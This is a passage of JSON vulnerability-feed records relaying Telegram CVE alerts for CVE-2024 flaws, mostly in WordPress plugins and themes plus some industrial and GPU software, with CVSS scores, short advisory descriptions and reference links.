"\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12815\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Point Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'point_maker' shortcode in all versions up to, and including, 0.1.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-03-05T09:21:48.649Z\n\ud83d\udccf Modified: 2025-03-05T09:21:48.649Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/c4a46d4c-3f03-4d41-8382-b43a02b59cb2?source=cve\n2. https://plugins.trac.wordpress.org/browser/point-maker/trunk/shortcode.php\n3. https://wordpress.org/plugins/point-maker/", "creation_timestamp": "2025-03-05T09:35:56.000000Z"}, {"uuid": "38dfa59b-10f1-469b-a2e4-aa5956e8e5fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12589", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7290", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12589\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Finale Lite \u2013 Sales Countdown Timer & Discount for WooCommerce plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the countdown timer in all versions up to, and including, 2.19.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-03-12T07:00:22.816Z\n\ud83d\udccf Modified: 2025-03-12T07:00:22.816Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/ae0a001b-0792-4a32-8f49-5d4b1550f4be?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3247611/finale-woocommerce-sales-countdown-timer-discount", "creation_timestamp": "2025-03-12T07:43:57.000000Z"}, {"uuid": "5ba928ec-6108-4db6-97d6-b3769debe200", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12544", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/6059", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12544\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The SurveyJS: Drag & Drop WordPress Form Builder to create, style and embed multiple forms of any complexity plugin for WordPress is vulnerable to arbitrary file deletion due to a missing capability check on the callback function of the SurveyJS_DeleteFile class in all versions up to, and including, 1.12.17. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This function is still vulnerable to Cross-Site Request Forgery as of 1.12.20.\n\ud83d\udccf Published: 2025-03-01T07:24:06.268Z\n\ud83d\udccf Modified: 2025-03-01T07:24:06.268Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e9404fe4-855e-4eb4-81c4-5246f6e9be0c?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3222216/surveyjs/trunk/ajax_handlers/delete_file.php\n3. https://plugins.trac.wordpress.org/changeset/3214665/", "creation_timestamp": "2025-03-01T08:27:06.000000Z"}, {"uuid": "938bd996-de53-48b2-972a-105baf9f5620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12824", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6058", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12824\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The Nokri \u2013 Job Board WordPress Theme theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.6.2. This is due to the plugin not properly checking for an empty token value prior updating their details like password. This makes it possible for unauthenticated attackers to change arbitrary user's password, including administrators, and leverage that to gain access to their account.\n\ud83d\udccf Published: 2025-03-01T06:39:26.867Z\n\ud83d\udccf Modified: 2025-03-01T06:39:26.867Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/60a7cce0-637f-49bd-aa4a-fd7023d99a64?source=cve\n2. https://themeforest.net/item/nokri-job-board-wordpress-theme/22677241", "creation_timestamp": "2025-03-01T07:27:02.000000Z"}, {"uuid": "1c673100-fc0d-4afb-9767-deb5bc15bb62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12742", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6700", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12742\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A deserialization of untrusted data vulnerability exists in NI G Web Development Software that may result in arbitrary code execution.\u202f Successful exploitation requires an attacker to get a user to open a specially crafted project file.\u202f This vulnerability affects G Web Development Software 2022 Q3 and prior versions.\n\ud83d\udccf Published: 2025-03-06T16:27:31.660Z\n\ud83d\udccf Modified: 2025-03-06T16:27:31.660Z\n\ud83d\udd17 References:\n1. https://www.ni.com/en/support/security/available-critical-and-security-updates-for-ni-software/deserialization-of-untrusted-data-vulnerability-in-ni-g-web-deve.html", "creation_timestamp": "2025-03-06T16:33:58.000000Z"}, {"uuid": "99d827db-abc2-49f8-afb8-38f02fc35bb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12144", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6673", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12144\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Finder Fire Safety Finder ERP/CRM (Old System) allows SQL Injection.This issue affects Finder ERP/CRM (Old System): before 18.12.2024.\n\ud83d\udccf Published: 2025-03-06T14:05:09.395Z\n\ud83d\udccf Modified: 2025-03-06T14:05:09.395Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0060", "creation_timestamp": "2025-03-06T15:10:43.000000Z"}, {"uuid": "39bf29a4-b2cc-4904-b60f-a1a21ffeb4aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12146", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6672", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12146\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: Improper Validation of Syntactic Correctness of Input vulnerability in Finder Fire Safety Finder ERP/CRM (New System) allows SQL Injection.This issue affects Finder ERP/CRM (New System): before 18.12.2024.\n\ud83d\udccf Published: 2025-03-06T14:08:33.654Z\n\ud83d\udccf Modified: 2025-03-06T14:08:33.654Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0060", "creation_timestamp": "2025-03-06T15:10:42.000000Z"}, {"uuid": "7102af8c-5b7c-41e7-889e-65d954ca2bf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12650", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6541", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12650\n\ud83d\udd25 CVSS Score: 5.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L)\n\ud83d\udd39 Description: An attacker with low privileges can manipulate the requested memory size, causing the application to use an invalid memory area. This could lead to a crash of the application but it does not affected other applications.\n\ud83d\udccf Published: 2025-03-05T11:46:15.486Z\n\ud83d\udccf Modified: 2025-03-05T11:46:15.486Z\n\ud83d\udd17 References:\n1. https://cert.vde.com/en/advisories/VDE-2025-004", "creation_timestamp": "2025-03-05T12:37:25.000000Z"}, {"uuid": "ebb5f929-b923-4bd8-941d-e644686e92f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6655", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12297\n\ud83d\udd25 CVSS Score: 9.2 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L)\n\ud83d\udd39 Description: Moxa\u2019s Ethernet switch is vulnerable to an authentication bypass because of flaws in its authorization mechanism. Although both client-side and back-end server verification are involved in the process, attackers can exploit weaknesses in its implementation. These vulnerabilities may enable brute-force attacks to guess valid credentials or MD5 collision attacks to forge authentication hashes, potentially compromising the security of the device.\n\ud83d\udccf Published: 2025-01-15T10:00:46.524Z\n\ud83d\udccf Modified: 2025-03-06T08:27:52.297Z\n\ud83d\udd17 References:\n1. https://www.moxa.com/en/support/product-support/security-advisory/mpsa-241407-cve-2024-12297-frontend-authorization-logic-disclosure-vulnerability-in-eds-508a-series\n2. https://www.moxa.com/en/support/product-support/security-advisory/mpsa-241408-cve-2024-12297-frontend-authorization-logic-disclosure-vulnerability-identified-in-pt-switches", "creation_timestamp": "2025-03-06T08:37:17.000000Z"}, {"uuid": "0a72e36f-4910-4e6f-83e4-f70247fc2d8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12741", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6711", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12741\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A deserialization of untrusted data vulnerability exists in NI DAQExpress that may result in remote code execution. Successful exploitation requires an attacker to get a user to open a specially crafted project file. This vulnerability affects DAQExpress 5.1 and prior versions. \u00a0Please note that DAQExpress is an EOL product and will not receive any updates.\n\ud83d\udccf Published: 2024-12-18T19:20:41.889Z\n\ud83d\udccf Modified: 2025-03-06T16:18:31.635Z\n\ud83d\udd17 References:\n1. https://knowledge.ni.com/KnowledgeArticleDetails?id=kA00Z000000kFD7SAM&l=en-US", "creation_timestamp": "2025-03-06T16:34:14.000000Z"}, {"uuid": "7805dce4-8f0e-41f7-b8ce-d8553fadfd0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12809", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6805", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12809\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Wishlist plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wishlist_button' shortcode in all versions up to, and including, 1.0.43 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-03-07T06:40:03.042Z\n\ud83d\udccf Modified: 2025-03-07T06:40:03.042Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/1b902d46-ff27-486f-836d-f55a8048f08c?source=cve\n2. https://plugins.trac.wordpress.org/browser/wishlist/trunk/includes/classes/class-shortcodes.php?rev=3215801#L223\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3242533%40wishlist&new=3242533%40wishlist&sfp_email=&sfph_mail=\n4. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3251476%40wishlist&new=3251476%40wishlist&sfp_email=&sfph_mail=", "creation_timestamp": "2025-03-07T07:37:20.000000Z"}, {"uuid": "607ee4be-08cc-4512-86e0-f7a508f88fa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12837", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6822", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12837\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Software installed and run as a non-privileged user may conduct improper GPU system calls to corrupt kernel heap memory.\n\ud83d\udccf Published: 2025-03-07T07:45:16.126Z\n\ud83d\udccf Modified: 2025-03-07T07:45:16.126Z\n\ud83d\udd17 References:\n1. https://www.imaginationtech.com/gpu-driver-vulnerabilities/", "creation_timestamp": "2025-03-07T08:35:12.000000Z"}, {"uuid": "e97ed90a-45e8-4723-921b-849b09dd70cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12576", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6824", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12576\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Software installed and run as a non-privileged user may conduct improper GPU system calls to trigger a crash of the FW running on the GPU freezing graphics output.\n\ud83d\udccf Published: 2025-03-07T07:36:21.228Z\n\ud83d\udccf Modified: 2025-03-07T07:36:21.228Z\n\ud83d\udd17 References:\n1. https://www.imaginationtech.com/gpu-driver-vulnerabilities/", "creation_timestamp": "2025-03-07T08:35:13.000000Z"}, {"uuid": "825ba723-0190-4fc2-b21d-84abf29b5f88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12634", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6827", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12634\n\ud83d\udd25 CVSS Score: 6.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Related Posts, Inline Related Posts, Contextual Related Posts, Related Content By PickPlugins plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including 2.0.59. This is due to missing nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-03-07T11:12:54.726Z\n\ud83d\udccf Modified: 2025-03-07T11:12:54.726Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/29d22612-8e0d-4275-b370-9729352c951e?source=cve\n2. https://plugins.trac.wordpress.org/browser/related-post/tags/2.0.58b/includes/menu/settings.php#L129\n3. https://wordpress.org/plugins/related-post/#developers\n4. https://plugins.trac.wordpress.org/changeset/3251482/", "creation_timestamp": "2025-03-07T11:34:46.000000Z"}, {"uuid": "ceb30ea3-d3bf-481e-841a-cb9a36d9b6df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12876", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6808", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12876\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The Golo - City Travel Guide WordPress Theme theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.6.10. This is due to the plugin not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.\n\ud83d\udccf Published: 2025-03-07T08:21:28.125Z\n\ud83d\udccf Modified: 2025-03-07T08:21:28.125Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e6cb81e5-61a4-4b67-a668-d8a7d46b2cea?source=cve\n2. https://themeforest.net/item/golo-directory-listing-travel-wordpress-theme/25397810", "creation_timestamp": "2025-03-07T08:34:51.000000Z"}, {"uuid": "e02e07aa-41ab-4369-9d72-5f43b90a21c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12975", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/6870", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12975\n\ud83d\udd25 CVSS Score: 1 (cvssV4_0, Vector: CVSS:4.0/AV:P/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A buffer overread can occur in the CPC application when operating in full duplex SPI upon receiving an invalid packet over the SPI interface.\n\ud83d\udccf Published: 2025-03-07T16:41:10.424Z\n\ud83d\udccf Modified: 2025-03-07T17:22:04.602Z\n\ud83d\udd17 References:\n1. https://community.silabs.com/069Vm00000LWXMeIAP\n2. https://github.com/SiliconLabs/simplicity_sdk/releases", "creation_timestamp": "2025-03-07T17:35:22.000000Z"}, {"uuid": "ba0b65e7-5c56-4ec6-bc34-68d16991ef3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12036", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/6816", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12036\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: The CS Framework plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 6.9 via the get_widget_settings_json() function. This makes it possible for authenticated attackers, with subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.\n\ud83d\udccf Published: 2025-03-07T08:21:25.162Z\n\ud83d\udccf Modified: 2025-03-07T08:21:25.162Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/5ed1978e-1dd7-45d3-829a-1a75c1789827?source=cve\n2. https://themeforest.net/item/jobcareer-job-board-responsive-wordpress-theme/14221636", "creation_timestamp": "2025-03-07T08:35:00.000000Z"}, {"uuid": "b28a4c72-cb11-4c98-94c8-721b315f7c63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12610", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6813", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12610\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)\n\ud83d\udd39 Description: The School Management System for Wordpress plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the 'mj_smgt_remove_feetype' and 'mj_smgt_remove_category_new' AJAX actions in all versions up to, and including, 93.0.0. This makes it possible for unauthenticated attackers to delete arbitrary posts.\n\ud83d\udccf Published: 2025-03-07T08:21:26.362Z\n\ud83d\udccf Modified: 2025-03-07T08:21:26.362Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/9c3a7ca0-9325-4b50-a844-8eeb4047de1a?source=cve\n2. https://codecanyon.net/item/school-management-system-for-wordpress/11470032", "creation_timestamp": "2025-03-07T08:34:58.000000Z"}, {"uuid": "a2ec41ec-cfd8-4aa6-b7dc-50f41d14d84c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12609", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6812", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12609\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: The School Management System for Wordpress plugin for WordPress is vulnerable to SQL Injection via the 'view-attendance' page in all versions up to, and including, 92.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query in the mj_smgt_view_student_attendance() function.  This makes it possible for authenticated attackers, with Student-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-03-07T08:21:26.705Z\n\ud83d\udccf Modified: 2025-03-07T08:21:26.705Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/a8790df5-7228-4854-870c-1e6d3d0cfbaa?source=cve\n2. https://codecanyon.net/item/school-management-system-for-wordpress/11470032", "creation_timestamp": "2025-03-07T08:34:57.000000Z"}, {"uuid": "28f5bf45-43af-4f36-bc9c-917174c01585", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12607", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6820", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12607\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: The School Management System for Wordpress plugin for WordPress is vulnerable to SQL Injection via the 'id' parameter of the 'mj_smgt_show_event_task' AJAX action in all versions up to, and including, 92.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Custom-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-03-07T08:21:20.862Z\n\ud83d\udccf Modified: 2025-03-07T08:21:20.862Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/175fe7f4-ac92-4c52-9889-47635c21cd9b?source=cve\n2. https://codecanyon.net/item/school-management-system-for-wordpress/11470032", "creation_timestamp": "2025-03-07T08:35:07.000000Z"}, {"uuid": "fc2be48d-1f2c-4f05-bc6a-a0047c1ca396", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12035", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/6819", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12035\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The CS Framework plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the cs_widget_file_delete() function in all versions up to, and including, 6.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).\n\ud83d\udccf Published: 2025-03-07T08:21:21.608Z\n\ud83d\udccf Modified: 2025-03-07T08:21:21.608Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/31093664-c45e-4e87-b72f-5cdf8e8e9f67?source=cve\n2. https://themeforest.net/item/jobcareer-job-board-responsive-wordpress-theme/14221636", "creation_timestamp": "2025-03-07T08:35:06.000000Z"}, {"uuid": "fcddc9ec-f56f-48e3-8df7-793d8adfb4e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12611", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6818", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12611\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)\n\ud83d\udd39 Description: The School Management System for Wordpress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'title' parameter in all versions up to, and including, 93.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-03-07T08:21:24.356Z\n\ud83d\udccf Modified: 2025-03-07T08:21:24.356Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/45ada7a4-466b-4e73-8869-e1178e4fc67a?source=cve\n2. https://codecanyon.net/item/school-management-system-for-wordpress/11470032", "creation_timestamp": "2025-03-07T08:35:05.000000Z"}, {"uuid": "3fc93c83-9c44-4ee1-8126-6fd02768fc28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12460", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/6916", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12460\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Years Since \u2013 Timeless Texts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'years-since' shortcode in all versions up to, and including, 1.4.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-03-08T02:24:02.760Z\n\ud83d\udccf Modified: 2025-03-08T02:24:02.760Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/2f1cb71a-aabb-4ba1-93b4-24070aaa582b?source=cve\n2. https://plugins.trac.wordpress.org/browser/years-since/trunk/alar-years-since.php#L132\n3. https://wordpress.org/plugins/years-since", "creation_timestamp": "2025-03-08T02:35:29.000000Z"}, {"uuid": "922ca932-93ed-4a4b-ad4b-f620931f155c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12119", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/6926", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12119\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: 